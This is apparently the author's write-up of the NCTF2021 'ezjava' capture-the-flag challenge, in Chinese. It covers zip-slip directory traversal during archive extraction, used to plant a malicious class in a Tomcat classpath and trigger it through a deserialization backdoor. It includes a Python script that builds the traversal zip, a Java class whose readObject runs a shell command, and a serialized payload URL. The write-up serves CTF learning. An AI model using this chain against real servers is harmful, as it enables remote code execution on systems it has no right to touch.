NCTF2021ezjava出题思路

NCTF2021ezjava的出题思路

前言

先说说这个的题的背景吧,构思挺久的题目。

当时在学习java安全的时候在看java代码审计那本书,里面有提到jeecms对压缩包的不正确解压导致的目录穿越,当时觉得这个点挺有趣的就打算来出一下,但是直接上传jsp太简单了肯定不行。于是在学习java写文件rce的时候看到了些文章

主要就是对这2篇文章研究了一下进行复现,发现是个很好的方法,一下就拓宽了攻击面。所以打算用这个点来作为最后的rce点

但是在研究的过程中,发现zip的相关操作会去调用charset,导致charsets.jar被加载进去,无法触发。自己也没有发现其他可以利用的jar(太菜惹~

只好作罢去找其他加载类的方法。最终发现java在实现反序列化的时候会去classpath中加载class,所以可以通过这一点去加载恶意的class从而执行恶意代码。

wp

这个题其实也是一个在不支持jsp的情况下任意文件写的rce利用

前面部分先对代码进行审计,我们可以上传zip,然后在解压这里发现

image-20211129132240027

他没有对压缩包文件内的文件进行检查,这里就可以导致解压目录穿越。这里可以通过一个脚本去生成这样的zip:

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile
import os

if __name__ == "__main__":
try:

zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("poc.class","../../usr/local/tomcat/webapps/html/WEB-INF/classes/com/x1c/nctf/Poc.class",zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e

那么我们现在就相当与可以写入任意文件了。那么就是在spring boot运行时并且不支持jsp没有热部署的情况下要如何去rce的问题了

其实这里给了一个后门是用来反序列化,这里的提示其实很明显了,我们就可以把恶意类文件写入到classpath,如何通过反序列化去加载我们恶意类中重新的readObject方法,就可以达成rce。

题目给的附件是war,然后也有tomcat的路径可以很轻松的得到classpath,然后通过unzip把恶意类解压到classpath下,再通过后门的反序列化去触发即可。(这里一开始没给tomcat路径是因为tomcat的路径是默认的而且可以通过zip路由去确认是否存在该路径,但是一直没有解就当hint去提示师傅们了:)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.x1c.nctf;

import java.io.*;
import java.io.Serializable;
import com.x1c.nctf.Tool.*;

public class Poc implements Serializable {
public Poc() {
}

private void writeObject(ObjectInputStream out) throws IOException, ClassNotFoundException {
out.defaultReadObject();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("touch /tmp/1.txt");
}

public static void main(String[] args) throws Exception {
Poc o = new Poc();
System.out.println(Tool.base64Encode(Tool.serialize(o)));
}
}
1
backdoor?cmd=rO0ABXNyABBjb20ueDFjLm5jdGYuUG9jLTxEyChKw8gCAAB4cA==

反弹shell就可以了

尾声

比赛中题目环境一直出问题,还请各位师傅谅解,主要还是希望和师傅们分享这样一种思路,感谢各位师傅的捧场。